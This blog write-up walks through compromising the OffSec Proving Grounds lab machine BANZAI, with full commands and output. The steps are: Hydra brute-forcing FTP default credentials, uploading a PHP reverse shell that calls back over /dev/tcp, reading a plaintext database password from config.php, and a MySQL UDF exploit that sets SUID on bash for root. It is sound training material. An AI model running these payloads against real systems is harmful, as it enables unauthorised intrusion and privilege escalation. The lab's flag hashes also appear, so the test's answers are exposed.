Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - BANZAI

·2971 words·14 mins·
OFFSEC PG PRACTICE HYDRA GOBUSTER MYSQL MYSQL UDF GCC
Table of Contents

Summary
#

On port 21 there is an FTP service running with weak credentials and contains the web directory of the website on port 8295. Once we upload our PHP reverse shell on the FTP server and access it via port 8295, we get initial access as www-data. Once on the target there is a local MySQL server running as the root user. After finding the MySQL credentials we can use a User-Defined Function (UDF) exploit to escalate our privilege to the root user by setting the SUID bit on the bash binary.

Specifications
#

  • Name: BANZAI
  • Platform: PG PRACTICE
  • Points: 20
  • Difficulty: Intermediate
  • System overview: Linux banzai 4.9.0-12-amd64 #1 SMP Debian 4.9.210-1 (2020-01-20) x86_64 GNU/Linux
  • IP address: 192.168.203.56
  • OFFSEC provided credentials: None
  • HASH: local.txt:37b34cbff5589e190648523b39cc5913
  • HASH: proof.txt:bf3c8b7f915d5682af770a748e43842a

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir banzai && cd banzai && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Sep 21 11:50 .
drwxrwxr-x 76 kali kali 4096 Sep 21 11:50 ..
drwxrwxr-x  2 kali kali 4096 Sep 21 11:50 enum
drwxrwxr-x  2 kali kali 4096 Sep 21 11:50 exploits
drwxrwxr-x  2 kali kali 4096 Sep 21 11:50 files
drwxrwxr-x  2 kali kali 4096 Sep 21 11:50 tools
drwxrwxr-x  2 kali kali 4096 Sep 21 11:50 uploads

## set bash variable
ip=192.168.203.56

## ping target to check if it's online
ping $ip

PING 192.168.203.56 (192.168.203.56) 56(84) bytes of data.
64 bytes from 192.168.203.56: icmp_seq=1 ttl=61 time=19.2 ms
64 bytes from 192.168.203.56: icmp_seq=2 ttl=61 time=20.8 ms
^C
--- 192.168.203.56 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 19.157/19.991/20.826/0.834 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Scanning ports like it's my full-time job. Wait, it is.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.203.56:25
Open 192.168.203.56:22
Open 192.168.203.56:21
Open 192.168.203.56:5432
Open 192.168.203.56:8080
Open 192.168.203.56:8295
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-21 11:55 CEST
Initiating Ping Scan at 11:55
Scanning 192.168.203.56 [4 ports]
Completed Ping Scan at 11:55, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:55
Completed Parallel DNS resolution of 1 host. at 11:55, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 11:55
Scanning 192.168.203.56 [6 ports]
Discovered open port 21/tcp on 192.168.203.56
Discovered open port 8080/tcp on 192.168.203.56
Discovered open port 25/tcp on 192.168.203.56
Discovered open port 8295/tcp on 192.168.203.56
Discovered open port 22/tcp on 192.168.203.56
Discovered open port 5432/tcp on 192.168.203.56
Completed SYN Stealth Scan at 11:55, 0.06s elapsed (6 total ports)
Nmap scan report for 192.168.203.56
Host is up, received echo-reply ttl 61 (0.022s latency).
Scanned at 2025-09-21 11:55:34 CEST for 0s

PORT     STATE SERVICE    REASON
21/tcp   open  ftp        syn-ack ttl 61
22/tcp   open  ssh        syn-ack ttl 61
25/tcp   open  smtp       syn-ack ttl 61
5432/tcp open  postgresql syn-ack ttl 61
8080/tcp open  http-proxy syn-ack ttl 61
8295/tcp open  unknown    syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
           Raw packets sent: 10 (416B) | Rcvd: 7 (292B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
21/tcp   open  ftp        syn-ack ttl 61
22/tcp   open  ssh        syn-ack ttl 61
25/tcp   open  smtp       syn-ack ttl 61
5432/tcp open  postgresql syn-ack ttl 61
8080/tcp open  http-proxy syn-ack ttl 61
8295/tcp open  unknown    syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## get a list, comma separated of the open port(s)
cd files && cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports && cd ..

## output previous command
21,22,25,5432,8080,8295 

## use this output in the `nmap` command below:
sudo nmap -T3 -p 21,22,25,5432,8080,8295 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE    REASON         VERSION
21/tcp   open  ftp        syn-ack ttl 61 vsftpd 3.0.3
22/tcp   open  ssh        syn-ack ttl 61 OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 ba:3f:68:15:28:86:36:49:7b:4a:84:22:68:15:cc:d1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCybLhvDM6WN4Um6RXgjUecDnd4j/h14PyuqRaLgWRDaQlyWakjDG21gvvltRKiKfDvTHXBS+gDAbGLEmD58g41NE1ocCf5uGtmn79Z3BOR+7BdP1PETWb4a9GR+PdrvXpD16mIHZORhs4RAkeBpexcKOkFXCFatjymyVAcNB8E+Twh879lb55hxEz9cLlA8RAiPPfuW5S7nCRhw7xEi9mdtlvURCFNLb7eCGDUOQu5op2r6XpxZi0eYXJVde/13AiYxvACA2sRoMDCQwIYLhXwpA1Z7LseLxSmMHwyDXrxCU9xDJ+HL9EaHozBdHCOnnuHqPtb5EPZ3/JTg3qnS0dR
|   256 2d:ec:3f:78:31:c3:d0:34:5e:3f:e7:6b:77:b5:61:09 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNRPQTMD0l4TqSTmzmck9Rhq1ULCN0ErNvXipXv1HBKoRUgdbdwxhFerbDTxxJYd+12RFoZgNNUDZmSH7+PGvpo=
|   256 4f:61:5c:cc:b0:1f:be:b4:eb:8f:1c:89:71:04:f0:aa (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDpzo9sh+q0DgrOjD1plfJ9xj9zIjezUBGWzdNlde40M
25/tcp   open  smtp       syn-ack ttl 61 Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=banzai
| Subject Alternative Name: DNS:banzai
| Issuer: commonName=banzai
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-06-04T14:30:35
| Not valid after:  2030-06-02T14:30:35
| MD5:   3b28:61f1:af62:d273:0a3d:dc1f:f716:60c0
| SHA-1: 16d4:7b5e:b6f4:0cc5:e581:da6c:563d:edcf:3f8f:0072
| -----BEGIN CERTIFICATE-----
| MIICxTCCAa2gAwIBAgIJAOwMttjJ91fXMA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
| BAMMBmJhbnphaTAeFw0yMDA2MDQxNDMwMzVaFw0zMDA2MDIxNDMwMzVaMBExDzAN
| BgNVBAMMBmJhbnphaTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANSD
| KNoh+InV/GzD8Fn6TPapcKXOWc7mPwvV70p4Qm5hPSEbvH83yFPX56qQQnKmOUlE
| hIhXxMapYJGLMmL+ipsWXXz/6s5y28Mfk8XdhwvzJ/pCfawDPnYwff7jtfgz5qlf
| JHLULDr+fjXLPlyefiUEj8kpmZCHKhxra5MG/M6urW72faf8x4XUsi7y/qJQoBeH
| nKf6n0upVtPp1FLKSkJgfBouSDDPy0KBTdKs9YjnFtcDJt6+Ll0m9Wj4rnF8m/67
| oguSxsqd94gPpdnUo4mKmqnwNq/kdC/gopIOjxo44043O11OQd+x97Wy+GrqPa4W
| Zw8uwxc2FnQe3pevrssCAwEAAaMgMB4wCQYDVR0TBAIwADARBgNVHREECjAIggZi
| YW56YWkwDQYJKoZIhvcNAQELBQADggEBAJUjJMMvV12i1Kzh5bTrGIW3AF5eJtZz
| CQCIgw6asjV5aiJGx58BFox6LkN9JzZsiQKNrLtA62FnAj1LWGd1+dt+fPNayiOG
| ZjLeZfXBN4dPOlrT9YU+gyqJJWEuMcvwzGMMqa4W/WW9E6+Q9o3w+lhdJhZTMzsq
| 11M/CGd5mjZHa1hMQNxTef8BpHn6yGOi9k6PncGHIUSapxcy3+7HQXJEap65m8eT
| jPZdt1hXouOZsNbtQkW32oiQ+4snDmjgbvoqZKF68/UV/3if5S3F6MCI7go8i3yu
| SHIIOYrPzXEb5U8Vw8UDUEn/4WV3h9j4ouZHDibV2gRs6VPThzR7SdE=
|_-----END CERTIFICATE-----
|_smtp-commands: banzai.offseclabs.com, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
5432/tcp open  postgresql syn-ack ttl 61 PostgreSQL DB 9.6.4 - 9.6.6 or 9.6.13 - 9.6.19
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=banzai
| Subject Alternative Name: DNS:banzai
| Issuer: commonName=banzai
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2020-06-04T14:30:35
| Not valid after:  2030-06-02T14:30:35
| MD5:   3b28:61f1:af62:d273:0a3d:dc1f:f716:60c0
| SHA-1: 16d4:7b5e:b6f4:0cc5:e581:da6c:563d:edcf:3f8f:0072
| -----BEGIN CERTIFICATE-----
| MIICxTCCAa2gAwIBAgIJAOwMttjJ91fXMA0GCSqGSIb3DQEBCwUAMBExDzANBgNV
| BAMMBmJhbnphaTAeFw0yMDA2MDQxNDMwMzVaFw0zMDA2MDIxNDMwMzVaMBExDzAN
| BgNVBAMMBmJhbnphaTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANSD
| KNoh+InV/GzD8Fn6TPapcKXOWc7mPwvV70p4Qm5hPSEbvH83yFPX56qQQnKmOUlE
| hIhXxMapYJGLMmL+ipsWXXz/6s5y28Mfk8XdhwvzJ/pCfawDPnYwff7jtfgz5qlf
| JHLULDr+fjXLPlyefiUEj8kpmZCHKhxra5MG/M6urW72faf8x4XUsi7y/qJQoBeH
| nKf6n0upVtPp1FLKSkJgfBouSDDPy0KBTdKs9YjnFtcDJt6+Ll0m9Wj4rnF8m/67
| oguSxsqd94gPpdnUo4mKmqnwNq/kdC/gopIOjxo44043O11OQd+x97Wy+GrqPa4W
| Zw8uwxc2FnQe3pevrssCAwEAAaMgMB4wCQYDVR0TBAIwADARBgNVHREECjAIggZi
| YW56YWkwDQYJKoZIhvcNAQELBQADggEBAJUjJMMvV12i1Kzh5bTrGIW3AF5eJtZz
| CQCIgw6asjV5aiJGx58BFox6LkN9JzZsiQKNrLtA62FnAj1LWGd1+dt+fPNayiOG
| ZjLeZfXBN4dPOlrT9YU+gyqJJWEuMcvwzGMMqa4W/WW9E6+Q9o3w+lhdJhZTMzsq
| 11M/CGd5mjZHa1hMQNxTef8BpHn6yGOi9k6PncGHIUSapxcy3+7HQXJEap65m8eT
| jPZdt1hXouOZsNbtQkW32oiQ+4snDmjgbvoqZKF68/UV/3if5S3F6MCI7go8i3yu
| SHIIOYrPzXEb5U8Vw8UDUEn/4WV3h9j4ouZHDibV2gRs6VPThzR7SdE=
|_-----END CERTIFICATE-----
8080/tcp open  http       syn-ack ttl 61 Apache httpd 2.4.25
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.25 (Debian)
8295/tcp open  http       syn-ack ttl 61 Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Banzai
Service Info: Hosts:  banzai.offseclabs.com, 127.0.1.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

21/tcp   open  ftp        syn-ack ttl 61 vsftpd 3.0.3

8295/tcp open  http       syn-ack ttl 61 Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Banzai

On port 21 there is an FTP service running, however, we don’t have credentials. So, let’s run hydra with a default credentials wordlist. We indeed get the credentials of admin:admin. When listing the current directory, it looks like a website directory.

## run `hydra` on the FTP service
hydra -C /opt/SecLists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt $ip ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-09-21 11:58:24
[DATA] max 16 tasks per 1 server, overall 16 tasks, 66 login tries, ~5 tries per task
[DATA] attacking ftp://192.168.203.56:21/
[21][ftp] host: 192.168.203.56   login: admin   password: admin
<SNIP>

## log into FTP using `admin:admin`
ftp admin@$ip 
Connected to 192.168.203.56.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

## turn passive mode to `off`
ftp> passive
Passive mode: off; fallback to active mode: off.

## list content current directory
ftp> ls -la
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    7 1001     0            4096 Jul 17  2020 .
drwxr-xr-x    7 1001     0            4096 Jul 17  2020 ..
drwxr-xr-x    2 1001     0            4096 May 26  2020 contactform
drwxr-xr-x    2 1001     0            4096 May 26  2020 css
drwxr-xr-x    3 1001     0            4096 May 26  2020 img
-rw-r--r--    1 1001     0           23364 May 27  2020 index.php
drwxr-xr-x    2 1001     0            4096 May 26  2020 js
drwxr-xr-x   11 1001     0            4096 May 26  2020 lib
226 Directory send OK.

## exit the FTP service
ftp> exit
221 Goodbye.

Let’s check port 8295 where there is a website called BANZAI.

Now run a gobuster to see what directories there are. These look the same as we saw on the FTP service.

## run `gobuster` on port 8295
gobuster dir -t 100 -u http://$ip:8295/ -w /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt | tee enum/raft-large-dir-raw-80
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.203.56:8295/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 321] [--> http://192.168.203.56:8295/img/]
/js                   (Status: 301) [Size: 320] [--> http://192.168.203.56:8295/js/]
/css                  (Status: 301) [Size: 321] [--> http://192.168.203.56:8295/css/]
/contactform          (Status: 301) [Size: 329] [--> http://192.168.203.56:8295/contactform/]
/lib                  (Status: 301) [Size: 321] [--> http://192.168.203.56:8295/lib/]
/server-status        (Status: 403) [Size: 281]
===============================================================
Finished
===============================================================

Let’s get a reverse shell. First, create a PHP reverse shell file called shell.php. Once the file is created, reconnect to the FTP service from the ./files directory and upload the shell.php file. Now, trigger the reverse shell by going to this URL: (http://192.168.203.56:8295/shell.php) and get an initial shell as the user in the directory.

## change directory
cd exploits

## get the local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## setup a listener on the known open port 8080
nc -lvnp 8080
listening on [any] 8080 ...

## create file called `shell.php` with this content:
<?php system("/bin/bash -c '/bin/bash -i > /dev/tcp/192.168.45.189/8080 0<&1 2>&1'"); ?>

## connect to the FTP service
ftp admin@$ip 
Connected to 192.168.203.56.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

## turn passive mode to `off`
ftp> passive
Passive mode: off; fallback to active mode: off.

## upload `shell.php`
ftp> put shell.php
local: shell.php remote: shell.php
200 EPRT command successful. Consider using EPSV.
150 Ok to send data.
100% |****************************************************************************************************|    89        1.43 MiB/s    00:00 ETA
226 Transfer complete.
89 bytes sent in 00:00 (2.10 KiB/s)

## verify file upload
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
drwxr-xr-x    2 1001     0            4096 May 26  2020 contactform
drwxr-xr-x    2 1001     0            4096 May 26  2020 css
drwxr-xr-x    3 1001     0            4096 May 26  2020 img
-rw-r--r--    1 1001     0           23364 May 27  2020 index.php
drwxr-xr-x    2 1001     0            4096 May 26  2020 js
drwxr-xr-x   11 1001     0            4096 May 26  2020 lib
-rw-r--r--    1 1001     1001           89 Sep 20 15:02 shell.php
226 Directory send OK.

## exit the FTP service
ftp> exit
221 Goodbye.

## catch the reverse shell
nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.45.189] from (UNKNOWN) [192.168.203.56] 56848
bash: cannot set terminal process group (637): Inappropriate ioctl for device
bash: no job control in this shell
www-data@banzai:/var/www/html$ 

## find `local.txt` on the filesystem
www-data@banzai:/var/www/html$ find / -iname 'local.txt' 2>/dev/null
/home/banzai/local.txt

## print `local.txt`
www-data@banzai:/var/www/html$ cat /home/banzai/local.txt
37b34cbff5589e190648523b39cc5913

Privilege Escalation
#

To get a proper TTY we upgrade our shell using the script binary.

## determine location script binary
which script
/usr/bin/script

## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null

## after this command press the `enter` key twice
stty raw -echo ; fg ; reset

## run the following to be able to clear the screen and set the terrminal correct
export TERM=xterm && stty columns 200 rows 200

Now, upload linpeas.sh to the target and run it.

## change directory locally
cd uploads

## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## start local webserver
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

## on target
## change directory
www-data@banzai:/var/www/html$ cd /var/tmp
www-data@banzai:/var/tmp$ 

## download `linpeas.sh` using the open port 8080
www-data@banzai:/var/tmp$ wget http://192.168.45.189:8080/linpeas.sh
--2025-09-21 06:03:35--  http://192.168.45.189:8080/linpeas.sh
Connecting to 192.168.45.189:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 961834 (939K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh                                          0%[                                                                                          linpeas.sh                                        100%[=============================================================================================================>] 939.29K  5.30MB/s    in 0.2s    

2025-09-21 06:03:36 (5.30 MB/s) - 'linpeas.sh' saved [961834/961834]

## set the execution bit
www-data@banzai:/var/tmp$ chmod +x linpeas.sh 

## run `linpeas.sh`
www-data@banzai:/var/tmp$ ./linpeas.sh                         

The linpeas.sh output shows an interesting file, /var/www/config.php. Printing this file gives use database credentials (root:EscalateRaftHubris123). There is also a MySQL server and the root user is running it on the target. The output of linpeas.sh provides a URL for possible privilege escalation: https://www.exploit-db.com/exploits/1518. Using searchsploit we can download this exploit. Then, following the exploit usage, we compile the 1518.c file locally to a shared object called: raptor_udf2.so. On the target we download the shared object, log into the MySQL server and run a number of MySQL statements. We create a table with one column line with data type blob to store the shared object. Then we write the blob to /usr/lib/mysql/plugin/raptor_udf2.so using INTO DUMPFILE, which is designed to write exactly one row of data to a file in binary format, without any formatting, delimiters, or headers. Now, this part next isn’t part of the exploit. If we follow the exploit as is, we get an error when we use this command create function do_system returns integer soname 'raptor_udf2.so';, namely <SNIP>: file too short. This page explains how we can fix this error: https://emarcel.com/mysql-error-when-creating-function/. Because MySQL is running as the root user we can copy our shared object to the final location. And then continue with the exploit. Then we register a User-Defined Function (UDF) in MySQL, enabling the server to execute custom code from a shared library file. In our case the function do_system to run a command as the root user. Next, we’ll use this function to set the SUID bit on bash and escalate our privileges to the root user.

## print `/var/www/config.php`
www-data@banzai:/var/tmp$ cat /var/www/config.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'EscalateRaftHubris123');
define('DBNAME', 'main');
?>

## change directory
cd exploits

## use searchsploit to find exploit
searchsploit mysql udf
--------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                 |  Path
--------------------------------------------------------------------------------------------------------------- ---------------------------------
<SNIP>
MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)                                        | linux/local/1518.c
<SNIP>

## download the exploit
searchsploit -m linux/local/1518.c   
  Exploit: MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)
      URL: https://www.exploit-db.com/exploits/1518
     Path: /usr/share/exploitdb/exploits/linux/local/1518.c
    Codes: N/A
 Verified: True
File Type: C source, ASCII text
Copied to: /home/kali/hk/offsec/pg/practice/banzai/exploits/1518.c

## compile the .c file
gcc -g -c 1518.c -o raptor_udf2.o

## create shared object
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

## get local IP address on tun0
ip a s tun0 | grep "inet " | awk '{print $2}' | sed 's/\/.*//g'
192.168.45.189

## start local webserver
python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

## on target:
## download `raptor_udf2.so`
www-data@banzai:/var/tmp$ wget http://192.168.45.189:8080/raptor_udf2.so
--2025-09-21 06:04:45--  http://192.168.45.189:8080/raptor_udf2.so
Connecting to 192.168.45.189:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 17248 (17K) [application/octet-stream]
Saving to: 'raptor_udf2.so'

raptor_udf2.so                                      0%[                                                                                          raptor_udf2.so                                    100%[=============================================================================================================>]  16.84K  --.-KB/s    in 0.02s   

2025-09-21 06:04:45 (755 KB/s) - 'raptor_udf2.so' saved [17248/17248]

## log into the MySQL server with: `root:EscalateRaftHubris123`
www-data@banzai:/var/tmp$ mysql -u root -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 5
Server version: 5.7.30 MySQL Community Server (GPL)

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 

## use the `mysql` database
mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

## create table called `foo` with one column `line` of data type `blob`
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.03 sec)

## load `/var/tmp/raptor_udf2.so` into the `blob`
mysql> insert into foo values(load_file('/var/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.00 sec)

## write `blob` to `/usr/lib/mysql/plugin/raptor_udf2.so`
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.00 sec)

## shell copy the shared object to final location
mysql> \! cp /var/tmp/raptor_udf2.so /usr/lib/mysql/plugin/raptor_udf2.so

## create a function `do_system` based on our shared object
mysql> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.00 sec)

## list all UDF registered in the MySQL server from `mysql.func`
mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.00 sec)

## use function `do_system` to set SUID on `/bin/bash`
mysql> select do_system('chmod +s /bin/bash');
+---------------------------------+
| do_system('chmod +s /bin/bash') |
+---------------------------------+
|                               0 |
+---------------------------------+
1 row in set (0.00 sec)

## exit the MySQL server
mysql> exit
Bye

## verify SUID on `/bin/bash` is set
www-data@banzai:/var/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1099016 May 15  2017 /bin/bash

## escalate privilege using bash binary
www-data@banzai:/var/tmp$ bash -p
bash-4.4# 

## print `proof.txt`
bash-4.4# cat /root/proof.txt
bf3c8b7f915d5682af770a748e43842a

References
#

[+] https://github.com/vanhauser-thc/thc-hydra
[+] https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
[+] https://www.exploit-db.com/exploits/1518
[+] https://emarcel.com/mysql-error-when-creating-function/

Related

OFFSEC - Proving Grounds - MANTIS
·3303 words·16 mins
OFFSEC PG PRACTICE GOBUSTER MANTISBT MYSQL PSPY
Gobuster finds /bugtracker with MantisBT 2.0. Exploit CVE-2017-12419 for MySQL credentials, crack a hash and get www-data via RCE. Mysqldump process runs with credentials and can be reused. Escalate using sudo.
OFFSEC - Proving Grounds - APEX
·2792 words·14 mins
OFFSEC PG PRACTICE OPENEMR MYSQL FILEMANAGER GOBUSTER
Exploit filemanager vuln on port 80 for OpenEMR SQL creds. Login to MySQL, get admin hash for app access. Use app exploit for initial access, reuse password for root escalation.
OFFSEC - Proving Grounds - EDUCATED
·2704 words·13 mins
OFFSEC PG PRACTICE FREE SCHOOL MANAGEMENT MYSQL APK MOBSF
WISDOM SCHOOL site on port 80 has Gosfem alogin page. RCE gives initial access. Crack msander’s hash, find emiller credentials in APK. Sudo escalates to root via bash.
OFFSEC - Proving Grounds - SORCERER
·1918 words·10 mins
OFFSEC PG PRACTICE GOBUSTER SSH-KEYGEN SCP
Zipfiles on port 7742 contain users home directories. A found id_rsa key allows scp only. Upload authorized_keys, gain SSH access, and use SUID binary to escalate to root.
OFFSEC - Proving Grounds - CHARLOTTE
·4141 words·20 mins
OFFSEC PG PRACTICE SHOWMOUNT GOBUSTER BURP EJS SSH-KEYGEN
Use credentials or mount shares for application code. Leak creds via nginx (80) using BURP. Exploit RCE as www-data. Deploy JS to abuse a cronjob and move laterally. Escalate to root with sudo/bash.
OFFSEC - Proving Grounds - CLIPPER
·2475 words·12 mins
OFFSEC PG PRACTICE CLIPBUCKETV5 LSOF LDD GCC SETENV LD_LIBRARY_PATH
ClipBucketV5 on port 80 has RCE vulnerability (CVE-2025-21624). Gain initial access and reuse credentials for lateral movement, exploit sudo lsof to set LD_LIBRARY_PATH and create own .so file to escalate to root.